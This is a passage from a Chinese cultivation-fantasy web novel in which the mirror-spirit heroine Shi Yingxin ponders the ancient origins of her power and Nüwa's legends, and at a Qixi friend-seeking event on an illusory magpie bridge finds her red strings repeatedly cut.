大伙完全不知道她是怎么看出来这么多信息的,有些听得很莫名其妙,比如为什么会在某些时间段修炼更适合自己呢?完全是搞不懂的,听着像迷信一般。大概这就是医修的天分。 还有那两条小蛇的来历…… 关于这个问题,石映心后来就问了。金花仙尊说是药神洲的特产,她在许多年前从药神谷带来了一群,现在都死得差不多了……说着有些叹息:“都是陪我许久的伙伴……” 石映心抿了下唇:“方才那两只好像也快死了。” “嗯?”金花仙尊一愣,“怎么会,这两条小黑白还很年轻。” 但对方都这么说了,她就拿出来看了看,这一看还真吓了一跳:“怪了,怎么精神气和灵力都衰减了这么多!?今早我照料它们时还好好的!” 四人面面相觑,他们自然是不知道原因的。顾梦真提议道:“仙尊,为何您不回药神洲补货呢?” 金花仙尊抬眼看他时眼中还有许多悲痛:“难道你没听过关于我离开药神谷的传闻?” 顾梦真一呆:“……哦,听过的。” “传闻是真的。”金花仙尊这么说,语气平静,脸色淡定。 四人闻言都有些惊讶,对方坦率地承认,倒让他们有些不知所错了。只有石映心眨着好奇的眼睛问:“是什么传闻?我不知道,劳烦仙尊您说说。” “……就是说我和药神谷闹不和,故意来归壹派避风头、恶心药神谷的事。” 石映心微微颔首,又问:“那是因为什么事闹了不和?” 金花抿了抿唇,看起来不太愿意说了:“陈年旧事,不必再提了。总之是这么回事。” 既然仙尊不乐意提,几位弟子也不会不识趣地再过问,体检完后就离开了。 他们走后,金花有些惋惜地将两条小蛇放入花园的灵池中,而后拿出传音鹤来,折了一只给慕雲送去。 * 石映心隐约觉得师父提出体检这事主要是因为她,但她确实心怀鬼胎,那师父不提,她便不问。 这次去梵音洲有些收获,比如她突破了照人之术的新境界,心镜更清晰了;比如她明白了普通的灵气无法让心镜突破,最多只能到先前模糊的状态;参考前几次的情况,她猜想修炼心镜需要的是“神力”,或者说是“上古神力”。 比如鲛人泉绮的残念,天神女魃的青蛋,常曦的偷天神阵,帝俊的神雷…… 石映心坐在书案前,将这些重点写在纸上,一个个圈起来后,最后指向了“上古神力”四字,边上还写了“心境”。 她用笔尾敲了敲下巴,思考为何这心镜胃口这么刁钻,普通灵气不吃,只吃上古神力这天下难得的玩意呢? 先前她没想明白,不过去找金花仙尊体检过后,倒是有了些方向。 【……一朵花一株草是否能长得好,看得是土壤气候环境;有些花草只能在所谓的穷乡僻壤里扎根、生长,富饶的土还会适得其反。正所谓一方水土养一方人,修士也是这样的道理。】 那是不是说明,对心镜来说,“上古神力”才是能养育它的水土呢?可照这么看的话,心镜的来历就很久远了,毕竟今日的花结不出一千年前的果,只有可能是一千年前的果被封存到了今日再次被播种……那这心镜的来历还得追溯到上古时期? 话说到这,稍等片刻,她理一理哈。 石映心在纸上这么画: 石映心→镜灵→心境→神力→上古时期的种子 也就是说:石映心→上古时期的种子 咦,这个意思是……石映心的脸色微微一变。 所以她的年岁已经这么大了吗? ……能得出这么不重要的重点,也是个神人了。 石映心看着手中的草稿有些苦恼,其实她也不是很在意自己的来历,毕竟对她来说,她只是“归壹派慕雲仙君名下石映心”便好。不过门派中许多弟子都有凡间的亲人,逢年过节的也会回家…… 有些弟子出去做危险的任务时,还会去万事堂登记,类似死后要将他们的魂灯和遗物送去哪里的老家……说是落叶归根。 也许是她的师兄妹都没有其他亲人,大家过年都待在一起,她便不觉得自己有什么特别。对她来说,她的根就是归壹派;再说如果她真是从上古时期活下来的……时过境迁,她找哪门子的根啊? 石映心一边瞎想着,一边把草稿折成了一只歪扭的纸鹤。 她修炼照人之术,只是想变得更厉害,并没有其他想法。这些乱七八糟的、久远又零碎的事,知道就知道,不知道就算了吧。 总之,不太重要。 只是那镜中人,那梦里的声音……仿佛很想让她想起什么。她其实有些好奇,毕竟她就是这么一个喜欢好奇的人,但总觉得……哪里有些古怪,她没想明白该如何面对。 好烦,不想了。 * 七夕将至。 这个浪漫的节日对石映心来说是没有任何实感的……好吧其实有点,比如临近七夕这几日,膳堂会出现节日限定的美食:各种可爱的巧果,巧芽面等,味道不算特别稀奇,就节日这两天吃几顿就够了。 万事堂会准备一些活动比赛,什么穿针乞巧、喜蛛应巧等。石映心先前被小师妹拉去玩了两回,发现自己纯粹是在“弄巧成拙”,在乞巧节 这大好日子里真是不讨巧,决心之后还是别去了。 小师妹今年还是要去喜蛛应巧,这是比赛谁的蜘蛛结的网更好更密的活动;为此她已经捉了大半月的喜蛛了,日日好生喂养着,昨日还过来请她精挑细选几只:“师姐你照照,哪只更斗志昂扬些?” 石映心没照过蜘蛛,稀奇地照了照,发现照不出来,摇摇头道:“照不出来,也许是蜘蛛的脑子太小了,开智程度不够。” 小师妹挠挠头:“啊,好吧,那你帮我找三只顺眼的。” 顺眼的吗?她感觉都长得差不多呢。 不过石映心明白曾换月纠结的心理,反正她也是挑不出来的,于是选了三只肚子大的给她,见她高高兴兴地走了。 乞巧节这日早上,石映心被晴雯叫去帮忙曝书,这活动指在防潮防虫,其实挺无聊的,所以由藏书阁七夕当日当值的弟子来干。 不管对乞巧节有无兴趣,石映心每逢节日是要休息不修炼的,那帮晴雯师姐干点这些无聊的活也算是一种参与吧。 一大早飞去藏书阁,面前的空地上已经摆了好几排晒书床,弟子们正一边打着哈欠一边从楼阁内搬书出来。七月的太阳出来得早,此时已经照到了一小片空地,弟子们便先往有阳光的晒书床上摆书。 见到她来了,正在摆书的晴雯朝她挥了挥手:“映心!” 石映心走去,晴雯便安排她任务:“搬书又累又麻烦,你就在这把送来的书摊开晒太阳就好。” “好。” 去忙活前晴雯又凑近她,神秘兮兮地说:“为了多谢你帮我,等太阳下山之后,师姐带你去一个好玩的地方。” 石映心便有了些兴趣:“什么好玩的地方?” “到时你便知道了!” 石映心本想照她,但又觉得太阳下山后就知道的事,何必急于这一时;再说她已不是那种乱照人的镜子了:“好吧。” “乖乖晒书哦。” “嗯。” 晒书一事虽无聊,但也有些讲究: 比如早上的晨光和煦,可以将书放在阳光中晒;但到了日中太阳太猛,就要把书挪到阴凉的地方风干,不然书页就要被晒干脆了;一批书晒一个多时辰,中途翻一翻,接着换下一批,换的时候也要讲究批次,不能弄乱,有弟子专门登记;晒好的书要先抖一抖脏东西,等凉透了再入库…… 好在石映心只负责最简单的翻书晒书,无聊的时候就坐在边上随便拿本书看,但藏书阁中没什么话本,好多书她压根看不懂,简直越看越无聊,干脆盖在脸上遮阳睡觉。 后来被叫起来翻书的时候,石映心偶然翻到一本有图画的书,看着就比那些密密麻麻的字有趣一些,她打了个哈欠,拿起来看了看书面上的书名:《创世大神女娲》。 女娲? 是那个开天辟地后又造人又补天的女娲吗?石映心有些印象。她瞅了瞅书中那个人身蛇尾的长发女人背影,心中有些好奇,长这样的尾巴当腿会是什么感觉呢?哦,说起来,泉芷她们鲛人族也是鱼尾巴当腿…… 石映心随意翻了翻: 【……以其载媒,是以后世有国,是祀为皋(高)禖之神。《路史·后纪二》】 高禖神?高禖神不是……三足乌族高禖殿祭祀的女神吗?为什么这书中说女娲也是高禖神呢?难道是同源共流? 【有神十人,名曰女娲之肠,化为神,处栗广之野,横道而处……《山海经·大荒西经》】 这个故事二师兄好像讲过,说是女娲死后,光是她的肠子就能化作十个神人……简直太古怪太神奇了。 第170章 【往古之时。四极废,九州裂……于是,女娲炼五色石以补苍天,断鳌足以立四极……《淮南子·览冥训》】 哇,石映心想,这又要炼石补天,又要撑四极平洪水杀猛兽的,当创世大神好累啊。二师兄说传闻女娲在补天之后耗尽了神力就死去了,那这么看来,她不只是补了天,而是到处查漏补缺啊…… 如此上天入地四海八荒地去缝缝补补破烂的世间,怪不得神力会被耗尽;可不处理这些麻烦又不行,仿佛任何一个灾难都能让这天下完蛋。 俗话说能者多劳,不过……石映心想,在那样一个乱七八糟的世间拥有神力,从她个人的角度来讲不算一件好事,身上肩负着太多责任,仿佛再厉害的力量也只是为了天下苍生而存在。 ……虽然她们归壹派的宗旨也是为了世间安定和平啦,但大家心知肚明这是一个门派宗旨需要的伟大立意,说出去很有一回事;于弟子个人而言,也不是不以宗旨为己任,但除此之外,自然各有各的私心。 石映心的私心是…… 是…… 嗯?是什么来着? 好像没什么特别的,她已经很满意现在的生活了。 所以话说回来,这个传说中的创世大神女娲的私心会是什么呢?在这些“她干嘛干嘛”的众多丰功伟绩中,似乎只能瞧见她无私的神性,可她见过的神明明是…… 泉绮,女魃,常曦羲和,还有未曾打过照面的姬有熊、大酋长,以及凤凰帝俊……一个都不是没有私欲的神。 不过这些故事都是凡人事后编撰的,从他们的视角来看,神的存在就是为了救世间于水火,还有听他们的祈祷,接着应当要发善心实现他们的愿望……神的私心,对他们来说不重要。 应该说,世人默认神就该是绝对无私公正的。 还是说,只有善良无私为世间奉献的“存在”才会被世人认证为“神”呢? 这定义该有谁来决定? “神要是偏心的话……感觉会有不太好的事情发生。”午间休息的时候,晴雯听了石映心的话,想了想道,“那么厉害的存在,要是偏心什么的话……就会很不公平。” 石映心一问:“为什么她们要公平呢?” “额,因为公平是对的?” 石映心二问:“她们都这么厉害了,还需分对错吗?凡人的对错也适用于神吗?公平的标准是由人还是神规定的呢?” “这个……咳,你看嘛映心,那些话本中的大坏蛋大反派就很不公平,他们会欺凌弱小……” 石映心三问:“师姐,如果她们并没有欺凌弱小,只是对喜爱的人更好些呢?你话中的欺凌,是对比之下的吗?” “……”晴雯深呼一口气,露出一个伤脑筋的笑来,“对不住啊映心,我对这些神的事不太了解,要不你问你大师兄吧?” 石映心便想起来:“对了,今日还没见大师兄。” 晴雯道:“我也不太清楚他今日在哪里忙活,不过每逢节假日他都是揽大活的,估计忙得脚不沾地呢,晚些时候你再去找他吧。” “好。” 太阳下山之后,石映心帮着晴雯她们收拾了书籍后就准备走了,晴雯连忙叫住她:“不急不急,你忘了我说要带你去个好玩的地方?” 石映心差点忘了:“哦,什么地方?” “跟我走。” “好。” 石映心于是坐上晴雯师姐的飞行宝器,一边往“好玩的地方”飞去一边听她说:“这是七夕刚举办的新活动,今年才是第一届呢,是万事堂的弟子下山寻访后,效仿民间某地的七夕习俗办的……咦,换月这么爱凑热闹,没和你说吗?” 石映心摇摇头说:“近日她专心在抓蜘蛛,养蜘蛛。” 晴雯便笑道:“是,前几日她还来我洞府找了一通、捉了几只回去,这丫头怎么着迷上这个了?” 石映心说:“似乎只是一时的兴致,也许明年便不感兴趣了。” 晴雯道:“她是这样的。” 这会太阳已经归家,但七月的傍晚天色还很亮,晴雯又说:“现在去时候太早了,或许还没开始。这样,我先请你吃个饭。” 石映心说好啊。 于是她们先去了西膳堂吃饭,还没落地就看见膳堂门口排了好长的队,晴雯奇怪道:“下面是什么情况?” 石映心往下边瞅,顺着队伍看上去:“是我二师兄,他在卖东西。” 晴雯好笑道:“这家伙每逢节假日就整这些小生意,他早就赚得盆满钵满了吧!” 石映心实话实说:“其实二师兄没存很多钱,最多半满吧;他赚到的灵石很快就花了,买些奇珍异宝什么的。” “是吗?原来是这样。”晴雯想了想,“确实,同为器修,我的花销是远远不及梦真的,主要是他常常捣鼓那些古怪的玩意,需要的材料稀奇还贵,而且报废率高。” 石映心道:“二师兄说炼什么都是炼器,不算不务正业。” 晴雯闻言哈哈笑起来:“是这么个道理,他干这么多副业,不都是为了正业吗?走,下去看看他今日卖什么。” 于是落地去看,发现这家伙在卖传音鹤,不过是改造版的:做成了七夕喜鹊的模样,圆嘟嘟的特别可爱,大肚子可以像萤火虫一样发光,材质是五彩琉璃,飞在空中的时候往下洒着灵力金光,瞧着特别精致。 顾梦真的脑袋上空高高地飞了几只搭成桥的喜鹊,一边给后边排队的同门欣赏一边吆喝道:“七夕限定传音鹤,仅此一天销售!可自留可送礼,多买多优惠啊!!” 这时候有个同门老远地传音过来:“喂喂这位道友,我才刚来排队的,不会等会卖完了吧?” 顾梦真朗声回复让大伙都听得见:“现货卖完了还有定金预售,包你七日内收到,但退货不退定金哈,想好下单!” 队伍中传来一些应声,类似“前边的别买太多了”“大家都是同门,买一只就够了剩下的买预售吧”“哎呀本来是来吃巧芽面的,怎么排上队了”“这顾道友我记得,上回在他这买的端午限定传音粽就不错”“什么玩意能吃吗”…… 晴雯笑道:“你二师兄还做出口碑来了。” 石映心点点头:“二师兄做生意很靠谱。” 她们本来还想和他打个招呼,但见他忙得不行,又是收灵石又是记预售单的,压根没注意到她俩呢,还是不打扰他,直接进膳堂用膳吧。 吃完饭后,二人一路飞入连绵的山峰之中,这时天色已经昏黑,空中渐渐出现微微闪亮的星辰,月色明朗。 晴雯说:“这次是选在迷迭峰办的活动,你还记得迷迭峰有一颗古树吗?” 石映心道:“缘来树。” “不错!” 缘来树是一颗硕大的古树,虽不及到万事树那种神树的程度,只是普通树木中资历较深的老树,但在山林之中也是显眼的,今日又被打扮了一番,就更显得出类拔萃、耀眼夺目。 飞近一些,远远就能见缘来树上被点缀了许多闪光的灵力果,每一颗果子下挂着红色的祈福牌,一张张随着夜风飘摇,在黑夜中像一朵凝固在空中的烟花。平日安静的迷迭峰,这会热闹得像集市一般,缘来树下有不少弟子正在围观、写牌子、挂牌子。 石映心前段时间在梵音寺看见过类似的牌子,上边挂着的是香客对神佛的祈福,于是有些好奇地问:“她们在写愿望吗?” “算是吧。”晴雯也探头去看,“她们在写求友牌。” “求友牌?” “是呀,操办这个活动的马师姐说,民间的七夕节,那些月老祠里挂的都是姻缘牌,一般是单身男女求觅姻缘,或者有情人请神保佑恩爱长久的;但毕竟我们是修道人士嘛,不推崇这些情情爱爱的,所以改成了求友牌。牌如其名,就是来找有缘的朋友的!” 石映心没有广交友的兴趣,实话实说道:“听着不是很有意思。” “哈哈哈!”晴雯开怀笑道,“映心你真不给面子,不过你先听我说完,这求友牌可有些来头。” “什么来头?” “上边不只是有我们归壹派弟子写的求友牌,还有其他仙门弟子的;是马师姐提前好几个月,特请下山去各个大洲出任务的弟子们去找其他七大仙门的弟子写的;若是你拿了其中一张牌子,就能和对方通过牌子谈天说地!” 石映心问:“用牌子说话?” 晴雯解释道:“牌子上有‘四海为邻阵’,这阵法的出错率报废率可高了,每次只能传二十字以内,私密度不高,又有半个月的时限,平日也没个好用处,没想到还能这样派上用场。” 石映心听过这个阵法,因为之前曾换月捣鼓过,但就如晴雯师姐所说,确实出错率和报废率很高。可能阵法画对了,但莫名用不起来,或是用着用着出问题,二十字只传去一半之类的,都很常见,可能是阵法不够完善? 小师妹那时候说什么“信号不好”,她没听懂,但也了解了这阵法很鸡肋,用在正事上是万万不可的。 这样玩一玩倒是有些巧思。 石映心于是给面子地承认:“这么一听有些意思。也就是说,我拿了一张牌,就能和一个陌生道友说话?” “是呀——不止如此,重点是今晚有个特别的活动!”晴雯的飞行宝器往东北方一歪,她往前方一指道,“映心映心,看见那空中的鹊桥了吗?”【】 170-180 第171章 说是鹊桥,其实不真是喜鹊搭起来的桥,办个七夕节的活动而已,要真抓来那么多只喜鹊,还奴役它们做桥梁,肯定是要被仙尊长老们骂的,一开始的审批那关就过不了。 所以那横跨在夜空中的是仙法变的假仙鹊桥,远远望去就见流光溢彩,像空中挂了 一道往下落星星的银河桥,色彩清透明亮、熠熠生辉,竟比今晚的月色更胜几分;飞近了一看,能瞧见那些逼真的仙法喜鹊在你挨我我挤你地扑棱着翅膀嬉戏,每一只都栩栩如生,小巧可爱。 “这仙鹊桥是不是很漂亮?”晴雯见石映心看入了神,介绍道,“幕后可是七十七名弟子的灵力所化,只能维持到今晚子时。” “嗯,很漂亮。”石映心点点头,又有些奇怪道:“为何每人的手上都拿着一根红绳?” 晴雯下巴一抬:“你再看红绳另一边系着什么?” 石映心睁大眼睛桥上的人:“另一边……仙鹊?” “对,”晴雯笑道,“这便是今晚的特别活动。” 参加的弟子先去缘来树下领一张求友牌,再带着求友牌上仙鹊桥,这时牌上的四海为邻阵就会被激活,变成一条红绳;顺着红绳的牵引从桥头走到桥尾,如果你的牌中人有所回应,那么就能牵到一只仙鹊,可以通过仙鹊直接和牌中人对话,但过了今晚仙鹊变会消失。 解释了一大通,晴雯也感叹道:“听说为了研究这特殊的仙鹊连结四海为邻阵法,马师姐和她同门费了不少功夫呢!” 费了不少功夫吗? 石映心觉得这仙鹊桥很漂亮,玩法也有趣,但她有些疑惑:“为何要费功夫在这样的事上?先不说四海为邻阵和仙鹊桥的难度大,而且有时限,只要过了今晚,这些便没意义了。” 晴雯控制着飞行宝器往缘来树的方向飞:“怎么会没意义呢?你看大家玩得多开心。再说我们修仙界重视这些民间的节日,既是为了自己热闹,也是为了不忘凡心,参与民间的喜怒哀乐……” 听着晴雯的絮絮叨叨,石映心其实明白她的意思,但实话实说,若是让她来操办一个七夕节的活动,她定不会像这位马师姐如此费心:先是往着合格线去的,要是不费力地能做好些,那就做好些;要是费力了,就到此为止。 除非她自己感兴趣;但她感兴趣的东西一般只和自己与亲朋好友有关。 像“大家玩得开心”这样的理由,即使她现在飞在空中,遥遥望去下方茫茫一片欢喜的人群,一张张笑颜逐开的脸庞……她依旧不觉得这些与她无关的欢乐算得上一个重要的理由。 这时候她想到白日看过的创世女神的故事,一直在缝缝补补的女娲,她是怀着这样“为了大家”的心情而耗费神力到死的吗? 镜灵有些难以想象。 晴雯收了飞行宝器,落地后拉着石映心挤过人群到缘来树下,对着树上发光的求友牌伸出一只手,转头对石映心道:“映心,来都来了,取一张呗!” 大概是因为换月也经常说“来都来了”,石映心对这样的劝说并没有抵抗力,点点头后跟着伸出一只手。 无数张应邀而来的求友牌像撒花般缓缓落下,最后只一张落入了她的手中。 石映心垂眸望去,牌正面写着:千里有缘一线牵。 反过来一看:合欢宗。 只是这样而已,想知道更多的信息要启动牌上的四海为邻阵。 拿了牌子,晴雯又带她往仙鹊桥飞去,到了桥下才发现这座桥很宽,即使人多也不会摩肩接踵;桥中有些高,看不清对边的景色,桥头这边的人手上都牵着一条另一端被隐去的红绳,满脸好奇地往桥尾走去。 在喧嚣声中,石映心听到晴雯在她耳边感叹:“早料到这是今年最受欢迎的活动了,好多人啊……” 是啊,好多人啊,要小心不要和晴雯师姐走散了才是;虽然走散了也没什么,又不是危险的地方……石映心这么胡乱地想着,转头一看,晴雯师姐已经不见了踪影。 石映心:OO? 她正有些不知所措,是该留还是该走?或是找一找晴雯师姐?忽然有人撞了她一下,人群中很快地飘过一句“对不住啊道友”,她来不及说声“没关系”,那声就消失了。 石映心这时感到手中一松,低头看去,自己一只脚已经被撞得踩到了桥面上,周遭的景色忽变,是一个民间景色的小结界;手中的求友牌很快被激活,变成了一条系在她手腕上的红绳。 ……好吧,来都来了。 她扯了扯左手腕上的红绳,对边没有回应,但似乎是绑住了什么?石映心于是顺着红绳的方向往桥上走。这桥上的结境幻化成民间夜里街景的模样,下方的河流飘来各式各样的水灯,水面上映照着越飘越远的祈天灯,像一条条小鱼。 不止如此,还有不知哪里传来的优美的歌声伴着琴声,缥缈又清晰,似远似近……用她小师妹的话来说,就是非常有氛围感;桥上的其他行人明明就在身侧,但总觉得被虚化了存在,石映心发现自己的注意力只能集中在手腕的红绳上。 红绳的对边有什么? 她不由自主地往前走啊走,走到了桥中,答案似乎就在眼前,于是继续迈步向前;但下一瞬,发直的双眼忽然回过神来,石映心低头一看—— 红绳断了。 石映心一愣,不明白这是什么意思,方才晴雯师姐好像没提到过绳子断了的情况。 她拿起红绳看了看,断掉的绳头很平整,若是在民间的悬疑话本中,这便是有人刻意为之的证明;可这也不普通的绳子…… 石映心轻轻一扯,原先系在手腕上的绳子很轻松就被扯断。随地扔垃圾是不对的,于是她就先拿在手上,又看看边上的大家都是跟着绳子的指引走的,那她没了绳子……回去? 好在她并不遗憾,转身就往桥下走,这时候才见到右边的桥头站着一个提着花篮的女同门,花篮中有许多求友牌;恰巧石映心这一眼和这位同门对上视线,后者瞅了她手上的断绳一眼,热情地朝她招了招手。 石映心:? 那对方都这样招呼她了……就过去看看她想做什么吧。 一走近,那位同门就把花篮往她眼前一送,笑盈盈道:“绳子断了是正常情况,可能是对面的道友不方便;也可能是四海为邻阵出故障了,喏,你再从我这取一张就好。” 石映心正想说不用了,对方却直接拉着她的手往花篮里满满当当的求友牌中一塞,由于她还站在桥上,一伸出来手腕就套了一根红绳。 石映心:……还能这样。 既然已经套上了……于是她转过身,继续跟着绳子往桥尾走,不过这回又是刚过桥中几步,眼前原本飘起来的绳子就落了下来——又断了。 这时候的镜灵依旧没有太多想法,毕竟方才那个人也说绳子断了是正常情况。可当她拿着两根断绳往回走的时候,又被那位女同门拉住了:“哎呀,你的红绳怎么又断了?没关系,我这还有很多!” 拉着她的手腕往牌里一塞,拿出来又套上一根。 石映心:……好吧。 俗话说事不过三,第三次走到桥中的时候,原本很无所谓的石映心有了些隐约的警惕心,她盯着绳子渐渐消失的那头,慢慢放缓了脚步,没一会就眼睁睁地见它猛地落了下来。 第三次了。 石映心脚步一顿,这回却没打算打道回府,而是直直地继续往前走,可奇怪的是怎么走都走不过去,她始终只能在桥中打转,徒然地看着边上的弟子一个个隐入面前的桥尾消失不见。 只有红绳能牵引弟子们去桥尾。 ……没办法,回去吧。 然后又又被花篮同门逮住:“怎么回事?你这出错的概率也太高了吧?不可能啊!” 石映心想了想:“算了。” “不能算!”花篮同门有些激动,“这样传出去有辱我的名声!” 石映心摇摇头:“我不往外说。” “不行!可我心里也过意不去啊。”这么说着,花篮同门再次拉她的手往花篮中一塞。 石映心看着手腕上的第四条红绳,默默地叹了口气,但看着花篮同门炯炯目光中的坚毅,只好又走了一次,然后带回来第四根断绳。 花篮同门:!? “到底是哪里出了问题??”她万分不解,抱头苦恼。 石映心打了个哈欠,提议道:“不如这样,你先取一个牌子,检查了上方的阵法有无失误后我再走一次。” “好主意!” 第五回,石映心拿了检查过后的求友牌再走,但依然如故。 “啊!”花篮道友看着她手中的五根断绳,发出了尖锐的爆鸣声,“我不信!不可能!怎么会这样!” 石映心不了解阵法,更不了解这求友牌的机制:“算了,可能是我与求友牌无缘吧。” “什么缘分,这只是我为七夕活动编造的浪漫说辞罢了!”花篮同门气得口不择言,就这么抖出来了,“只要求友牌上的阵法没出问题,谁都能和对边的人连结上的!” 石映心挠挠脸:“这样啊。” “没错,就是这样!” 花篮道友气呼呼地呼出一口气,忽然从花篮中抓了一把求友牌出来,就见她手诀一变,灵光一闪, 数张求友牌纷纷化作红绳缠上的石映心的手腕……不,这会是大半个手臂了。 石映心抬起挂了二十根红绳的手,一排红光照亮了她沉默的脸颊。 第172章 其实灵力化作的红绳并没有重量,但石映心这会觉得有些压力了,要是等会走到桥中,这么多红绳还是断了…… 她是无所谓的,但这位同门不会崩溃吧? “去吧!”花篮同门拍拍她的肩膀,“你来都来了,我不可能让你徒劳而返!” 石映心:“其实我真的没关系。” 花篮同门:“我有关系。” 那好吧。 石映心一条手臂上就牵引出去二十根红绳,身上闪出一片红光,排场很大,这下是吸引了全桥人的注意力,大伙都震惊又好奇地看着她,也许是想看到这些绳子会将她带到哪去。 石映心麻木地走着,第六次走到桥中的时候忍不住停顿了脚步,她望着前方虚无的景色,心中的疑惑渐渐升起。她对这什么求友牌啊红绳的其实没什么兴趣和执念,若不是被花篮同门拦下,这会估计已经飞回洞府了…… 但,若红绳断不是因为她“没缘分”或是“倒霉”,而是确实有人故意为之呢? 既然这样,一是为了结束这一切,让她早点回洞府睡觉;二是为了帮那位可怜的花篮同门查清真相…… 要不照一照? 虽然她也不知道能照到什么,但这次镜灵还是在绳子被切断的那一瞬眨了下眼睛——应该不是她的错觉,她发现始作俑者这回断绳子有些犹豫,大概也是被二十根红绳的排场震慑了。 红绳接二连三地落下,弧度像掀起又落下的浪花,石映心的耳边很快传来其他弟子的哗然声,没办法,谁让她的手上拿着二十五根断绳呢……差点抓不住了。 她抓着大把绳子往回走,在花篮同门瞠目结舌的注视下站到她面前,认真道:“不必再试了,不是求友牌的问题,是有人故意割断我的红绳。” 花篮同门闻言,总算喘过气来:“……真的?” 看着她期待的眼神,石映心颔首道:“嗯,真的。” “那就好,总算保住了我的名声……”花篮同门完全不想怀疑她话里的真实性松了口气,“究竟是谁这么对你?这一而再再而三的……” 石映心摇摇头:“我想还是不和你说了。” “哦,哦,”花篮同门表示理解,“看来是你认识的人,既然是你的私事那我也不多问了,不过要是别人问起来,你可要帮我解释一番。” 石映心点点头说好,那我走了哦。 花篮同门便与她道别,等她转身走了两步又叫住她,见她猛地把双手背在身后,忍不住闷笑了一声,对她疑惑中带着询问的双眼道:“这位师妹,虽说这是求友牌不是求偶牌,但毕竟是在七夕节办的节目,可能会引起一些误会……你还是回去解释一番比较好。” 石映心冒了一个问号:“我要和谁解释?” 花篮同门也不知怎么说:“就是……割断你红绳的人解释呀。” 石映心冒了两个问号:“解释什么?” “额……解释你拿的是求友牌不是求偶牌?” 石映心冒了三个问号:“这显而易见。” 花篮同门:…… 她一时难受得抓耳挠腮起来,一方面觉得这是人家的私事不好多问,一方面又忍不住道:“你、你知道为什么对方要割断你的红绳吗?” 石映心说:“大概是想我认真修炼吧。” 花篮同门:“……没有那么简单。” 石映心冒了四个问号:“除此之外还有什么原因?” “这个……”花篮同门挠挠脸,“如果我没猜错的话,对方应该是个男子?” 石映心说是,又问你怎么知道。 花篮同门比手画脚了一下:“这不很明显吗?” 石映心又问明显什么。 花篮同门沉默地看了她一会,忽然话锋一转:“你看,今天是七夕节哦。” 石映心:OO? 对她来说就是牛头不对马尾的一句,对花篮同门来说仿佛也在对牛弹琴;那既然存在这样的物种隔离,不管是牛是马都别说了吧。 石映心回洞府时飞到一半就收到了小师妹的传音鹤,说是在她院中等她;回去一看,小师妹果真坐在石桌边,见她落了地,手上还拿着红绳,奇怪地问:“师姐,你拿这么多红绳做什么,还都是断的。” 石映心简而言之。 曾换月了然道:“哦,我有听说这个活动,不过没什么兴趣,不就是网络交友嘛。” “网络交友是什么意思?” “网络交友就是……”小师妹想了想如何解释,“就是双方不见面,只根据信息沟通交朋友,这样很容易见光死的。” “见光死是什么意思?” “见光死就是……比如说你以为和你用求友牌四海为邻阵对话的人长得很好看,条件很好,毕竟对方可以假报信息嘛,但事实上对方压根不那样,等一见面就印象全毁喽。”小师妹这么说着,忽然警惕地看向她手中的红绳,“师姐,你不会去拿求友牌交友了吧?” 石映心实诚道:“晴雯师姐带我去凑热闹,本来是这么打算的,但绳子一直被割断……如此如此,这般这般。” 曾换月听了也觉得离谱:“哇,谁这么针对你啊?” 石映心顿了顿:“不知道……可能也是巧合。” “哦,那好吧。”小师妹并不追问,她还有自己的事要说呢,捧出一个小木盒道,“师姐,你猜今年的喜蛛应巧战况如何?” 石映心说:“你定是前三。” “铛铛铛!”曾换月笑起来,打开小木盒道,“我认真起来她们都比不过我!只是有些小遗憾,我带的木盒比较小,输给了一个盒子大一些的师姐,所以只得了一个第二。” 石映心看向小木盒,里头的蛛网结得细密,有一只小巧的黑蜘蛛停在网上,这会还在动足织网。 “师姐送给你。” 石映心抬眼看她:“为什么送我?” “可以许愿啊。”曾换月把盖子合上,放在师姐手上,“说是可以向七仙姑许愿,虽然我也不知道七仙姑是谁。” 石映心想了想道:“我今日晒书时在某一本书中看过,七仙姑是传说中玉皇大帝的女儿,排行第七,和一个叫董永的人有瓜葛。” “嘶,这个故事我有印象,”曾换月一撇嘴,“是不是讲一个仙女被一个穷小子的善良老实感动,谁都劝不住地要下凡为他当牛做马,然后还愿意过凡人的苦日子的那个?” 石映心颔首道:“换月,不愧是你,记得好清楚。” “唉。”曾换月叹了口气道,“在我老家那里这故事老有名了,有人评价说是七仙女和董永的美丽传说一脉相承,熏陶了一代代人……没错,我曾经就是被这个故事熏陶的小孩。” 说着说着,就将石映心手上的木盒收了回来:“算了吧师姐,还是不要向她许愿了。” 石映心不解道:“为什么?” “这个七仙女她……她虽然很善良很勤劳没错啦,但是……”曾换月支支吾吾起来,“她确实是个好神仙不错,可是……” 还真是很难从一个贤妻良母身上找到什么缺点呢,曾换月想,更何况她是一个善良的神仙。 石映心见小师妹双眼发直,不知思绪又飘到哪里去了,她看着被拿回去的木盒,有些奇怪道:“第一次听说向神仙许愿只要有蛛网就行的。” “哦,这个啊,”曾换月无意识地回答师姐,“传说这位七仙女在天上时专职纺织,然后蜘蛛也会织网嘛。” “是吗?”石映心说,“既然如此,为何不为她供奉绫罗绸缎呢?” “啊? “曾换月回过神来但还没完全反应过来,“绫罗绸缎吗?这样的话那些普通老百姓就没办法许愿了;但是蜘蛛每个人家里都有……嘶,也不是,是穷人家里最多欸,富人可能还要找一找。” 石映心了然点头:“原来是这样。” “怎样啊?” “这是穷人编造的故事,”石映心说,“如果是富人编的故事,首先会想到绫罗绸缎,退而求其次次次次次次……才会想到蛛网。” 曾换月盯着师姐发愣。 她师姐瞅了眼她手中简单可爱的小木盒说:“这么说来,她嫁的董永也是个穷人……确实是个慈善神仙,难道是在破旧的地方住着,因此有了结蛛网许愿的起念?也是,在天上想织出绫罗绸缎是很容易的;但落入凡尘,便只能当尘埃上结网的蜘蛛了。” “我想明白了。”她师姐如此总结,“这便是神仙体验民情后生出一种与民同甘共苦、为民请命的大爱之心的经典流程。你觉得……” 石映心看向师妹,一脸认真地问:“是先出现这样善良的神格,还是先出现这样善良的神仙呢?” 曾经有人问曾换月,世界上是先有蛋还是先有鸡呢?曾换月觉得这取决于谁先变异,那当然是“鸡的祖先”生下变异的蛋更容易,而“鸡的祖先”活着活着就变异成了鸡然后生下了鸡蛋就更难一些。 就像正常的父母可能生下不正常的小孩,但让正常的父母活着活着变得基因不正常,那更有难度。 她是这么瞎想的。 当然,其实这根本就不是一个需要解答的问题,她也不愿意花这些脑筋在这样谁说谁有道理的哲学问题上;可如今她师姐这么问她…… 曾换月就再次陷入思考循环。事实上她曾经也是无神论者……然后就穿来了这修仙界,简直是大受震撼,好在平时小说看得多,倒没有到三观重塑的地步,甚至接受良好。 所以她无法否认神是真的存在的。 第173章 可世界上有这么多神仙,难道所有故事中的神仙都是真的存在吗? 